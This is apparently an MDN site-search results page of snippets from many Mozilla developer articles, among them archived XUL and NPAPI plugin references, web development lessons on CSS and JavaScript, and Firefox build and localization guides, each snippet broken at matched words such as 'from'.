free of accessibility bugs or issues), many of the most common accessibility mistakes will be found and reported.
... availability the xul accessibility tool can currently be obtained
from [http://www.xulplanet.com/aaron/files...bilitytool.xpi].
... future versions of the extension will be available
from addons.mozilla.org.
...And 2 more matches
XML - Archive of obsolete content
xul is based upon xml, so it inherits a lot of the rules and syntax described above
from this "meta-language," as you will see.
...it will consist of a lexicon of four terms: memo, to,
from, body -- all of which fit together into a syntax represented in most xml circles as: <!element memo (
from, to, body)> for developers accustomed to reading and using xml, this definition indicates that the root element "memo" is constituted by a "
from" element, then a "to" element, then a "body" element.
...an actual memo using the memoml to represent itself might look like this: <memo> <
from>ian oeschger</
from> <to>steve rudman</to> <body>i think the first draft of the guide is done!</body> </memo> note how the memo element -- the root element in our brief definition, ordeclaration, above -- surrounds the other three elements.
...And 2 more matches
XUL Event Propagation - Archive of obsolete content
this button responds to the user action by raising an event, a message meant to travel
from one element within the interface to another.
...where event bubbling propagates an event
from its target up higher into the node hiearchy, event capturing intercepts an event before it is received by other elements, even by the event target itself.
...if you cut and paste the source code
from the example above into a separate file, you can see that the effect of these event handlers is to display as many as four different alert dialogs as the event bubbles up the hierarchy.
...And 2 more matches
datepicker - Archive of obsolete content
the values range
from 0 to 6, where 0 is sunday and 6 is saturday.
... properties date type: integer the currently selected date of the month
from 1 to 31.
... month type: integer the currently selected month
from 0 to 11.
...And 2 more matches
toolbar - Archive of obsolete content
the chromeclass-toolbar class may be used to create a toolbar where its visibility depends on the toolbar flag when opening the window with the window interface's open() method loads the specified resource into the browsing context (window, <i
frame> or tab) with the specified name.
... note: starting in gecko 1.9.1, toolbar items are moved
from the toolbarpalette and added to the toolbar when a toolbar is first displayed.
...the value of this attribute should be a comma-separated list of item ids
from the toolbarpalette or, additionally, any of the following strings: "separator", "spring", "spacer".
...And 2 more matches
window - Archive of obsolete content
by default, the window will have a platform-specific
frame around it.
...this is used to prevent the find bar
from being displayed when it's not supported by the content (such as in the add-ons manager tab).
...this is supported only
from window elements, and is ignored on platforms that don't support drawing into the title bar.
...And 2 more matches
mozilla.dev.platform FAQ - Archive of obsolete content
in order to use xr successfully in <tt>--disable-libxul</tt> mode, you have to setup dyld_library_path to include <tt>/library/
frameworks/xul.
framework/versions/1.9a1</tt> - benjamin smedberg,
fri, oct 20 2006 9:12 am q: when i try to build a completely standalone xul app on os x (10.4.8).
... took an foo.app directory created with xulrunner-bin --install-app and tried to copy (using rsync -rl) the xul.
framework directory into a
frameworks directory in the .app bundle and then deleting the xul.
framework directory
from /library/
frameworks, my running my app fails silently.
... it works fine when the xul.
framework is installed in /library/
frameworks.
...And 2 more matches
Gecko Compatibility Handbook - Archive of obsolete content
these earlier, non-standards based browsers differed in several ways
from gecko: these browsers use proprietary (non-standard) html, css, and javascript.
...because of gecko's cross-platform nature, functionality is generally very much the same on different platforms unlike internet explorer for mac and ie for windows, which are very different programs and so may behave quite differently
from each other.
... testing aol
from within a firewall if you need to connect to aol via a corporate firewall, america online has registered tcp/ip ports 5190 and 11523 so you can communicate with the aol client software.
...And 2 more matches
External resources for plugin creation - Archive of obsolete content
frameworks and tools there are several open source projects designed to assist with the creation of npapi plugins.
...
framework: firebreath project home page project history description (
from the project creators): firebreath is a cross-platform browser plugin
framework written in c++.
...project: nixysa project home page description (
from the home page): nixysa is a
framework written in python to automatically generate glue code for npapi plugins (plugins for browsers such as google chrome or firefox), letting you easily expose c++ classes to javascript
from a simple idl representation.
...And 2 more matches
NPByteRange - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary represents a particular range of bytes
from a stream.
... syntax typedef struct _npbyterange { int32 offset; /* negative offset =
from the end */ uint32 length; struct _npbyterange* next; } npbyterange; fields the data structure has the following fields: offset offset in bytes to the start of the requested range.
... this value may be either positive or negative: positive value: offset
from the beginning of the stream.
...And 2 more matches
NPN_MemAlloc - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary allocates memory
from the browser's memory space.
...this ensures that the browser can
free the saved data at a later time with the equivalent of npn_mem
free.
... mac os npn_memalloc is particularly important on mac os, since the mac os version of the browser
frequently fills its memory partition with cached data that is only purged as necessary.
...And 2 more matches
NPN_PostURL - Archive of obsolete content
npn_geturl reads data
from the url and either displays it in the target window or delivers it to the plug-in.
... npn_posturl writes data
from a file or buffer to the url and either displays the server's response in the target window or delivers it to the plug-in.
...you can also write the response data to a
frame by specifying the
frame name as the target parameter.
...And 2 more matches
NPN_RequestRead - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary requests a range of bytes
from a seekable stream.
...syntax #include <npapi.h> nperror npn_requestread(npstream* stream, npbyterange* rangelist); parameters the function has the following parameters: stream stream of type np_seek
from which to read bytes.
...the plug-in calls npn_requestread() to request data
from a seekable stream.
...And 2 more matches
NPP_NewStream - Archive of obsolete content
the plug-in can process the data progressively as it arrives
from the network or file system.
...if the stream comes
from a local file, the npp_write and npp_writeready functions are not called.
...differs
from np_asfileonly in that data is delivered to the plug-in, through a series of calls to npp_writeready and npp_write, as it is saved to the file (as in mode np_normal).
...And 2 more matches
The Basics of Web Services - Archive of obsolete content
the basics web services are not really anything that new, and actually, if you've ever used an rss or atom feed to pull news
from a website, you have an idea of how a web service might work.
... web services exchange data
from a server to a client, using an xml format to send requests, so both the server and the client can understand each other.
... warning: xml-rpc support was removed
from firefox starting with firefox 3.
...And 2 more matches
Theme changes in Firefox 4 - Archive of obsolete content
omni.jar firefox 4 achieves performance improvements by moving many of its internal parts
from being standalone files or sets of jar files into just one jar file; this reduces the amount of i/o needed to load firefox.
... note: when extracting omni.jar, you may incorrectly get false warnings
from some virus protection software.
... iconsize value actual add-on toolbar button icon dimensions (assuming correct stylesheet and images) small 16x16 pixels large 24x24 pixels note: for stock buttons, the theme is
free to use icons of any size.
...And 2 more matches
Scratchpad - Archive of obsolete content
it is also possible to use scratchpad over pages opened
from a local file system, if permission policies allow that.
... but even with possible limitations present, the html code can be either manually entered or copied
from the source and pasted into the "about:blank" page (a new empty tab) with the use page inspector's edit as html context menu command.
...
from firefox 47, you can open scratchpad inside the toolbox.
...And 2 more matches
Using SSH to connect to CVS - Archive of obsolete content
cygwin makes ssh available on windows if you install the openssh package
from the net category.
...-name root -exec perl -p -i -e "s/pserver/ext/" {} \; dealing with firewalls do not attempt to perform the steps in this section unless you have first verified that you can access cvs.mozilla.org
from outside of the firewall.
... only proceed with these steps once you are certain you can access cvs.mozilla.org
from the open internet.
...And 2 more matches
Using the W3C DOM - Archive of obsolete content
unsupported dom-related properties the following ie proprietary document object properties are not supported in the w3c document object model: document.layers[] id_attribute_value document.all document.all.id_attribute_value document.all[id_attribute_value] the following form related properties (originally
from internet explorer) are not supported in the w3c document object model: formname.inputname.value inputname.value formctrlname document.forms(0) (note: document.forms[0] (using square brackets) uses the dom standard forms collection) scripts that use these properties will throw errors in most standards-compliant browsers.
...op = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; w3c dom2 reflection of an element's css properties keep in mind that according to the w3c recommendation, the values returned by the style property of an element reflect static settings in the element's style attribute only, not the total "computed style" that includes any inherited style settings
from parent elements.
... therefore, if you wish to read and write these properties
from javascript through the dom2, use one of these two approaches: place all of the element's static css declarations (if it has any) in the element's style attribute.
...And 2 more matches
ECMAScript 2015 support in Mozilla - Archive of obsolete content
in august 2014, the ecmascript 2015 draft specification was feature
frozen and went through a stabilization and bug fixing period.
... a pdf and html version of the standard can be
freely downloaded on ecma-international.org.
... standard library additions to the array object array iteration with for...of (firefox 13) array.
from() (firefox 32) array.of() (firefox 25) array.prototype.fill() (firefox 31) array.prototype.find(), array.prototype.findindex() (firefox 25) array.prototype.entries(), array.prototype.keys() (firefox 28), array.prototype.values() array.prototype.copywithin() (firefox 32) get array[@@species] (firefox 48) new map and set objects, and their weak counterparts map (firefox 13) map iteration with for...of (firefox 17) map.prototype.foreach() (firefox 25) map.prototype.entries() (firefox 20) map.prototype.keys() (firefox 20) map.prototype.values() constructor argument: new map(null) (firefox 37...
...And 2 more matches
LiveConnect - Archive of obsolete content
liveconnect provides javascript with the ability to call methods of java classes and vice-versa using the existing java in
frastructure.
...you can still embed java applets and access their api
from javascript.
...the reimplementation also restores the ability to use try-catch exceptions within javascript, and is
free of the increasing number of other bugs introduced by the decline of the original liveconnect (e.g., java.lang.string and arrays not working properly).
...And 2 more matches
JavaObject - Archive of obsolete content
summary core object the type of a wrapped java object accessed
from within javascript code.
... properties inherits public data members
from the java class of which it is an instance as properties.
... it also inherits public data members
from any superclass as properties.
...And 2 more matches
Packages - Archive of obsolete content
summary a top-level object used to access java classes
from within javascript code.
... description the packages object lets you access the public methods and fields of an arbitrary java class
from within javascript.
...for example, you can access a constructor of the
frame class as follows: var the
frame = new packages.java.awt.
frame(); for convenience, javascript provides the top-level netscape, sun, and java objects that are synonyms for the packages properties with the same names.
...And 2 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
here is an example of this usage, once again for the macromedia flash plugin: <object type="application/x-shockwave-flash" data="javascript-to-flash.swf" width="366" height="142" id="myflash"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> <p>you need flash -- get the latest version
from <a href= "http://www.macromedia.com/downloads/">here.</a></p> </object> in the above example, application/x-shockwave-flash is the flash mime type, and will invoke the netscape-specific flash architecture in mozilla-based browsers.
... name="quality" value="high" /> <param name="swliveconnect" value="true" /> <object type="application/x-shockwave-flash" data="javascript-to-flash.swf" width="366" height="142" id="myflashnscp"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> <p>you need flash -- get the latest version
from <a href="http://www.macromedia.com/downloads/"> here.</a></p> </object> </object> web authors have to specify anobtainment mechanism in mozilla-based browsers -- the browser won't automatically retrieve plugins that are missing if you don't specify where to get the plugin
from using the codebase attribute.
...o-flash.swf"'); document.write(' type="application/x-shockwave-flash"'); document.write(' width="366" height="142">'); document.write('<param name="movie" value="javascript-to-flash.swf" />'); document.write('<param name="quality" value="high" />'); document.write('<param name="swliveconnect" value="true" />'); document.write('<p>you need flash for this.'); document.write(' get the latest version
from'); document.write(' <a href="http://www.macromedia.com/downloads">here<\/a>.'); document.write('<\/p>'); document.write('<\/object>'); } see also: flash satay the object element and java mozilla-based browsers such as netscape 6.x, netscape 7, and compuserve 7 ship with the java plugin that sun provides.
...And 2 more matches
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
the old plugin api call npp_getvalue is used to retrieve this information
from the plugin.
...this class will contain native methods callable
from javascript.
... this class should also inherit
from nsiclassinfo and implement its methods to be able to request all necessary privileges
from the mozilla security manager (see example 2).
...And 2 more matches
Implementing game control mechanisms - Game development
captain rogers was created using the phaser
framework, the most popular tool for simple 2d game development in javascript right now, but it should be fairly easy to reuse the knowledge contained within these articles when building games in pure javascript or any other
framework.
... in the following articles we will show how to implement various different control mechanisms for captain rogers to support different platforms —
from touch on mobile, through keyboard/mouse/gamepad on desktop, to more unconventional ones like tv remote, shouting to or waving your hand in
front of the laptop, or squeezing bananas.
...the first one is needed for preloading required assets, create() is executed once the state had started, and update() is executed on every
frame.
...And 2 more matches
Advanced styling effects - Learn web development
00px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .simple { box-shadow: 5px 5px 5px rgba(0,0,0,0.7); } this gives us the following result: you'll see that we've got four items in the box-shadow property value: the first length value is the horizontal offset — the distance to the right the shadow is offset
from the original box (or left, if the value is negative).
... the second length value is the vertical offset — the distance downwards that the shadow is offset
from the original box (or upwards, if the value is negative).
...this property enables photoshop-like filters right
from css.
...And 2 more matches
Images, media, and form elements - Learn web development
understanding what is and isn't possible can save some
frustration, and this lesson will highlight some of the main things that you need to know.
... sizing images as you already know
from following these lessons, everything in css generates a box.
...this technique will work with other replaced elements such as <video>s, or <i
frame>s.
...And 2 more matches
Sizing items in CSS - Learn web development
this size is described as the intrinsic size — which comes
from the image itself.
...therefore the size of this <div> in the block dimension comes
from the size of the content.
...take our <div>
from the example above — we can give it specific width and height values, and it will now have that size no matter what content is placed into it.
...And 2 more matches
Beginner's guide to media queries - Learn web development
@media print { body { font-size: 12pt; } } note: the media type here is different
from the so-called mime type.
...
from this point, start to drag the responsive design mode view wider until you can see that the line lengths are becoming quite long, and we have space for the navigation to display in a horizontal line.
... @media screen and (min-width: 40em) { article { display: grid; grid-template-columns: 3
fr 1
fr; column-gap: 20px; } nav ul { display: flex; } nav li { flex: 1; } } this css gives us a two-column layout inside the article, of the article content and related information in the aside element.
...And 2 more matches
Getting started with CSS - Learn web development
you can copy the code
from below if you want to work on your own computer.
...there are three different ways to apply css to an html document that you'll commonly come across, however, for now, we will look at the most usual and useful way of doing so — linking css
from the head of your document.
...this happens because browsers have internal stylesheets containing default styles, which they apply to all pages by default; without them all of the text would run together in a clump and we would have to style everything
from scratch.
...And 2 more matches
How CSS is structured - Learn web development
you reference an external css stylesheet
from an html <link> element: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> the css stylesheet file might look like this: h1 { color: blue; background-color: yellow; border: 1px solid black; } p...
...for example, perhaps you're working with a content management system where you are blocked
from modifying external css files.
... <div class="box"></div> .box { margin: 30px; width: 100px; height: 100px; background-color: rebeccapurple; transform: rotate(0.8turn) } the output
from the above code looks like this: look up different values of properties listed below.
...And 2 more matches
CSS FAQ - Learn web development
in this article, you'll find some
frequently-asked questions (faqs) about css, along with answers that may help you on your quest to become a web developer.
... /* heading default color is black */ h1 { color: red; } h1 { color: initial; } how do i derive one style
from another?
...you can use dom inspector's css style rules view to debug problems of this kind, but the most
frequent instances of ignored style rules are listed below.
...And 2 more matches
create fancy boxes - Learn web development
it's fun because it's all about turning a design idea into working code; it's challenging because of annoying constraints and crazy
freedom in the use of css.
...if you want to learn more about gradient, feel
free to get into our dedicated article.
... feel
free to tweak this example to make a cloud that isn't flat at the bottom ;) */ border-radius: 100% 100% 0 0; } /* those are common style that apply to both our ::before and ::after pseudo elements.
...And 2 more matches
Fundamental text and font styling - Learn web development
my big red elephant font stacks since you can't guarantee the availability of the fonts you want to use on your webpages (even a web font could fail for some reason), you can supply a font stack so that the browser has multiple fonts it can choose
from.
... the font-size of an element is inherited
from that element's parent element.
...this takes up to four values, as shown in the example below: text-shadow: 4px 4px 5px red; the four properties are as follows: the horizontal offset of the shadow
from the original text — this can take most available css length and size units, but you'll most commonly use px; positive values move the shadow right, and negative values left.
...And 2 more matches
What is the difference between webpage, website, web server, and search engine? - Learn web development
each web page of a given website provides explicit links—most of the time in the form of clickable portion of text—that allow the user to move
from one page of the website to another.
...the web server will send any web page
from the website it is hosting to any user's browser, per user request.
...a search engine is a special kind of website that helps users find web pages
from other websites.
...And 2 more matches
What is a URL? - Learn web development
it is worth noting that the part after the #, also known as the
fragment identifier, is never sent to the server with the request.
...iscussed later on — makes extensive use of urls: to create links to other documents with the <a> element; to link a document with its related resources through various elements such as <link> or <script>; to display media such as images (with the <img> element), videos (with the <video> element), sounds and music (with the <audio> element), etc.; to display other html documents with the <i
frame> element.
...if the path part of the url starts with the "/" character, the browser will fetch that resource
from the top root of the server, without reference to the context given by the current document.
...And 2 more matches
Tips for authoring fast-loading HTML pages - Learn web development
tools such as html tidy can automatically strip leading whitespace and extra blank lines
from valid html source.
...suppose your website server is located in the united states and it has a visitor
from india; the page load time will be much higher for the indian visitor compared to a visitor
from the us.
...this content is typically text, and can, therefore, benefit
from text compression in transit, thus providing an even quicker response to the user.
...And 2 more matches
Video and audio content - Learn web development
fortunately, there are things you can do to help prevent this
from being a problem.
...other differences
from html video are as follows: the <audio> element doesn't support the width/height attributes — again, there is no visual component, so there is nothing to assign a width or height to.
...edia to the beginning—including the process of selecting the best media source, if more than one is specified using <source> elements—by calling the element's load() method: const mediaelem = document.getelementbyid("my-media-element"); mediaelem.load(); detecting track addition and removal you can monitor the track lists within a media element to detect when tracks are added to or removed
from the element's media.
...And 2 more matches
Function return values - Learn web development
let's return to a familiar example (
from a previous article in this series): let mytext = 'the weather is cold'; let newstring = mytext.replace('cold', 'warm'); console.log(newstring); // should print "the weather is warm" // the replace() string function takes a string, // replaces one substring with another, and returns // a new string with the replacement made the replace() function is invoked on the mytext string, and is passed ...
... using return values in your own functions to return a value
from a custom function, you need to use the return keyword.
... first of all, make a local copy of the function-library.html file
from github.
...And 2 more matches
Manipulating documents - Learn web development
you can use this object to retrieve things like the user's preferred language, a media stream
from the user's webcam, etc.
... moving and removing elements there may be times when you want to move nodes, or delete them
from the dom altogether.
...in this case we will set a class name of highlight on our paragraph: para.setattribute('class', 'highlight'); re
fresh your page, and you'll see no change — the css is still applied to the paragraph, but this time by giving it a class that is selected by our css rule, not as inline css styles.
...And 2 more matches
Client-side web APIs - Learn web development
apis are programming features for manipulating different aspects of the browser and operating system the site is running on, or manipulating data
from other web sites or services.
... looking to become a
front-end web developer?
... guides introduction to web apis first up, we'll start by looking at apis
from a high level — what are they, how do they work, how do you use them in your code, and how are they structured?
...And 2 more matches
Storing the information you need — Variables - Learn web development
previous overview: first steps next after reading the last couple of articles you should now know what javascript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like
from a high level.
...the second line displays a welcome message that includes their name, taken
from the variable value.
...we won't go into all the differences now, but you'll start to discover them as you learn more about javascript (if you really want to read about them now, feel
free to check out our let reference page).
...And 2 more matches
Multimedia: Images - Learn web development
in terms of download performance, eliminating media, and reducing file size is the low-hanging
fruit.
... for the average website, 51% of its bandwidth comes
from imagery, followed by video at 25%, so it's safe to say it's important to address and optimize your multi-media content.
... with photographic motifs that do not feature transparency there is a lot wider range of formats to chose
from.
...And 2 more matches
What is web performance? - Learn web development
note: web performance includes both objective measurements like time to load,
frames per second, and time to interactive, and subjective experiences of how long it felt like it took the content to load.
...the download of additional assets linked to
from the index file is generally sequential, based on source order, but this can be manipulated and should definitely be optimized, realizing that some resources block additional downloads until their content is parsed and executed.
...this is the process that the browser uses to construct the web document once the files have been downloaded
from the server.
...And 2 more matches
Server-side website programming - Learn web development
learning pathway getting started with server-side programming is usually easier than client-side development, because dynamic websites tend to perform a lot of very similar operations (retrieving data
from a database and displaying it in a page, validating user-entered data and saving it in a database, checking user permissions and logging users in, etc.), and are constructed using web
frameworks that make these and other common web server operations easy.
...similarly, expertise in client-side coding is not required, but a basic knowledge will help you work better with the developers creating your client-side web "
front end".
...you should start with the first module, then go on to one of the following modules, which show how to work with two very popular server-side languages using appropriate web
frameworks.
...And 2 more matches
Vue conditional rendering: editing existing todos - Learn web development
previous overview: client-side javascript
frameworks next now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items.
...add this line at the top of your <script> element: import todoitemeditform
from "./todoitemeditform"; and add a components property about the props property inside the component object: components: { todoitemeditform }, now, if you go to your app and click a todo item's "edit" button, you should see the checkbox replaced with the edit form.
...ate the <to-do-item></to-do-item> call inside the app.vue template to look like this: <to-do-item :label="item.label" :done="item.done" :id="item.id" @checkbox-changed="updatedonestatus(item.id)" @item-deleted="deletetodo(item.id)" @item-edited="edittodo(item.id, $event)"> </to-do-item> and there you have it — you should now be able to edit and delete items
from the list!
...And 2 more matches
Accessibility and Mozilla
they also define a list of possible object states, such as focused, read-only, checked, etc.accessibility features in firefoxfirefox works with popular screen readers, with the best support currently coming
from gw micro's window-eyes 5.5.
...in recent articles
from both afb's access world and nfb's voice of the nation's blind, reviewers found no significant roadblocks in moving to firefox
from internet explorer for screen reader users.
...this guide was written
from an atk/at-spi point of view as part of the orca live region support project.
...And 2 more matches
Continuous Integration
when you push a commit to mozilla-central or a related repository, it initiates a large chain of builds and tests across multiple types of in
frastructure.
... clobber builds mean the directory hierarchy, including the local source and object directory are deleted if it exists
from a previous build.
... talos performance tests all performance tests displayed in treeherder are run using the talos
framework, and denoted by the letter t.
...And 2 more matches
Creating Sandboxed HTTP Connections
this article will cover the basics of doing http connections
from xpcom javascript, and should easily translate to c++ xpcom.
... setting up an http connection the first step in setting up an http connection
from an url (stored in a string) is to create an nsiuri out of it.
...to create an nsiuri
from an string, we use the newuri method of nsiioservice: // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(myurlstring, null, null); once the nsiuri has been created, a nsichannel can be generated
from it using nsiioservice's newchannel
fromuri method: // get a channel for that nsiuri var channel = ioservice.newchannel
fromuri(uri); to initiate the connection, the asyncopen method is called.
...And 2 more matches
Debugging JavaScript
this shows any javascript errors in your app, as well as any logging calls
from the console api.
... browser console the browser console lets you see all javascript errors and logging in the browser, including
from firefox code.
... you can also start the browser console when you launch firefox, by launching firefox
from the command line and passing --jsconsole as a flag: /path/to/firefox --jsconsole log to the browser console using the standard console api after importing console.jsm: let console = (cu.import("resource://gre/modules/console.jsm", {})).console; console.log("hello
from firefox code"); error console this is obsolete and is no longer enabled in firefox by default.
...And 2 more matches
HTTP logging
this saves a log of http-related information
from your browser run into a file that you can examine (or upload to bugzilla if a developer has asked you for a log).
...don't let the scary-looking command line stuff
frighten you off; it's not hard at all!
... limiting the size of the logged data by default there is no limit to the size of log file(s), and they capture the logging throughout the time firefox runs,
from start to finish.
...And 2 more matches
Old Thunderbird build
get the latest source code
from mozilla's comm-central mercurial code repository: hg clone https://hg.mozilla.org/comm-central then, get all the repositories it depends on.
... the source code requires 3.6gb of
free space or more and additionally 5gb or more for default build.
...to run the executable
from your comm-central working directory: windows: obj-.../dist/bin/thunderbird.exe linux: obj-.../dist/bin/thunderbird os x: obj-.../dist/daily.app/contents/macos/thunderbird how to update and build again in your comm-central directory, run the same command as before: python client.py checkout then just re-run the mach command above.
...And 2 more matches
Contributing to the Mozilla code base
the mozilla community prides itself on being an open, accessible, and
friendly community for new participants.
... project skills documentation/onboarding firefox browser (core layers) c++ firefox developers documentation firefox (
front-end) javascript and/or html/css firefox developers documentation devtools javascript and/or html/css contribute to devtools add-ons javascript and/or html/css contribute to add-ons firefox focus for android java contribute to firefox focus for android firefox for fire tv java contribute to firefox for fire tv firefox pr...
...of course, if you are not a student, feel
free to fix one of these bugs.
...And 2 more matches
Error codes returned by Mozilla APIs
ns_base_stream_would_block (0x80470007) this error occurs when an attempt is made to read
from a non blocking stream yet there is not enough data available to read without waiting for more.
... ns_binding_retargeted (0x804b0004) the asynchronous request has been "retargeted" to a different "handler." this error code is used with load groups to notify the load group observer when a request in the load group is removed
from the load group and added to a different load group.
... ns_error_offline (0x804b0010) ns_error_no_content (0x804b0011) returned
from nsichannel.asyncopen() to indicate that ondataavailable will not be called because there is no content available.
...And 2 more matches
Index
168 performance best practices for firefox
front-end engineers best practices, developing firefox, developing mozilla, firefox,
front-end, mozilla, performance this guide will help firefox developers working on
front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
... always keep in mind the side effects your changes may have,
from blocking other tasks to interfering with other user interface elements.
... 170 storage access policy: block cookies
from trackers privacy, storage access policy, tracking protection firefox includes a new storage access policy that blocks cookies and other site data
from third-party tracking resources.
...And 2 more matches
Tracking Protection
in private browsing windows (tabs, in firefox for android), firefox will block content loaded
from domains that track users across sites.
... content is blocked based on the domain
from which it is to be loaded.
...when tracking protection is enabled, firefox blocks content
from sites in the list.
...And 2 more matches
mozbrowsercaretstatechanged
the mozbrowsercaretstatechanged event is fired when the user selects content in a page loaded in a browser <i
frame>.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... commands an object that defines what commands can currently be executed in the browser <i
frame>.
...And 2 more matches
mozbrowsercontextmenu
the mozbrowsercontextmenu event is fired when the user tried to access a context menu over a browser <i
frame>.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: clientx the x value of the coordinate that was clicked inside the browser <i
frame>'s viewport.
...And 2 more matches
mozbrowserloadend
the mozbrowserloadend event is fired when the browser <i
frame> has finished loading all its assets, or has failed to load.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... detail the detail property returns an anonymous javascript object with the following properties: backgroundcolor a domstring representing the main background color of the browser <i
frame> content, expressed as an rgb value.
...And 2 more matches
mozbrowserresize
the mozbrowserresize event is fired when a browser <i
frame> viewport is resized in some way.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: width a number representing the new width of the <i
frame> viewport, in device pixels.
...And 2 more matches
mozbrowserscroll
the mozbrowserscroll event is fired when the browser <i
frame> content scrolls.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: top a number representing the new vertical scroll position of the <i
frame> viewport — in css pixels —
from the top of the viewport.
...And 2 more matches
mozbrowserscrollareachanged
the mozbrowserscrollareachanged event is fired when the available scrolling area in the browser <i
frame> changes.
... this can occur on resize and when the page size changes (while loading for example.) general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: width a number representing the new scroll area width of the <i
frame> viewport, in css pixels.
...And 2 more matches
mozbrowsersecuritychange
the mozbrowsersecuritychange event is fired when the browser <i
frame> has connected to the server, and when the mixed content state changes.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... blocked_tracking_content: indicates that the tracking content has been blocked
from loading.
...And 2 more matches
Extending a Protocol
quick start: extending a protocol this tutorial implements a simple ping-pong style ipdl protocol, which sends a message
from the content process (main thread) to the chrome process (ui thread).
...r.webidl at the end of the file, add: partial interface navigator { [throws] promise<domstring> echo(domstring astring); }; now we need to implement the echo() method in c++, so open up ./dom/base/navigator.h and let's add the method definition, so under public:: already_addrefed<promise> echo(const nsastring& astring, errorresult& arv); we use nsastring& as the domstring comes in
from js as utf-16.
...as dom apis have access to the window object, we generally want to use the "pwindowglobal" protocol to manage things for us: this protocol is convinient because we can easily access it
from the window object...
...And 2 more matches
Implementing Download Resuming
this means that if a download was interrupted, it can be resumed
from that point on, rather than regetting the whole file.
...the expected way to use it is this: for all downloads that happen, get the entityid
from the channel, and store it for later use.
...the
front-end code can then notify the user of this, and offer to resume the download.
...And 2 more matches
JavaScript-DOM Prototypes in Mozilla
prototype setup on an xpconnect wrapped dom node in mozilla when a dom node is accessed
from javascript in mozilla, the native c++ dom node is wrapped using xpconnect and the wrapper is exposed to javascript as the javascript representation of the dom node.
... var obj = document.images[0]; here, obj will not really have any properties (except for the standard jsobject properties such as constructor, and the non-standard __parent__, __proto__, etc.), all the dom functionality of obj comes
from obj's prototype (obj.__proto__) that xpconnect sets up when exposing the first image in document to javascript.
... all those properties come
from the interfaces that the c++ image object (nshtmlimageelement) implements and chooses to expose to xpconnect through the object's class info.
...And 2 more matches
JavaScript Tips
you do not have to query interfaces to compare objects, nor to pass objects as parameters (this is different
from c++, where you do have to query interfaces in both cases).
...instead, use instanceof, e,g,: if (target instanceof components.interfaces.nsird
fresource) return target.value; if (target instanceof components.interfaces.nsirdfliteral) return target.value; return null; don't test the return value of queryinterface, it always returns the original variable if it succeeds.
...for instance the offline observer declared above is a javascript object that is registered with an xpcom object, so that the call back
from xpcom executes the javascript method.
...And 2 more matches
L10n testing with xcode
select the client project in the left pane and choose editor > import localizations
from the toolbar and select your localized xliff file.
... choose product > scheme > edit scheme
from the toolbar menu.
... in the edit scheme screen, select run
from the left pane and then navigate to the options tab.
...And 2 more matches
QA phase
feel
free to skip ahead to the next section by clicking on the next link at the bottom of the page.
...if you're using one of these tools, feel
free to skip ahead to the seeing your work section.
... preliminary instructions we will be using the following file directories for this example: your working directory (root)/ mozilla-aurora (en-us source, pulled
from http://hg.mozilla.org/releases/mozilla-aurora )/ l10n-central (directory for l10n directories, one per l10n; often referred to as "l10n base")/ your-locale-code (a directory with your l10n files, in this example we'll use x-testing) example: root/mozilla-aurora & root/l10n-central/x-testing additionally, you will need to copy and translate the toolkit/defines.inc file directly
fr...
...And 2 more matches
Release phase
the merge date for migrating
from one product release channel to the next is rapidly approaching.
... must be approved prior to migrating your revision
from one release channel to the next (e.g., aurora to beta).
... performed as a qa measure for maintaining a localization
from release-to-release.
...And 2 more matches
MathML Demo: <mo> - operator, fence, separator, or accent
a * b ⊲ c a ∪ b ⊵ c a ∩ b ⊴ c a ∘ b ≬ c a • b ▸ c a ÷ b ◂ c a ⊔ b ≖ c a ⊓ b ⋚ c a ○ b ⋛ c a b ⪋ c a ∖ b ⪌ c a ⊕ b ∝ c a ⊖ b \smallsmile c a ⊗ b \small
frown c a ⊙ b ⋐ c a ⊛ b ⋑ c a ∨ b ⫅ c a ∧ b ⫆ c a ⊚ b ≏ c a ⊲ b ≎ c a ⊳ b ⋘ c a ⊻ b ⋙ c a ⌅ b ⋔ c a ≀ b ∽ c a ◃ b ⋍ c a ▹ b ≂ c a ⊎ b ⋖ c ...
...there are entities
from these arrows, ⟵ ⟵ ⟶ etc.
...fences that enclose
fractions illustrate the symmetry issue as seen below.
...And 2 more matches
Mozilla Quirks Mode Behavior
in quirks mode, the url
fragment #top scrolls to the top of the page when there is no such anchor.
...[see nstable
frame::getdeflationforbackground and figure out what really differs, and when it started differing.] gecko had bug 248239, where table cells acted as they had box-sizing:border-box applied for the purpose of the height property.
...
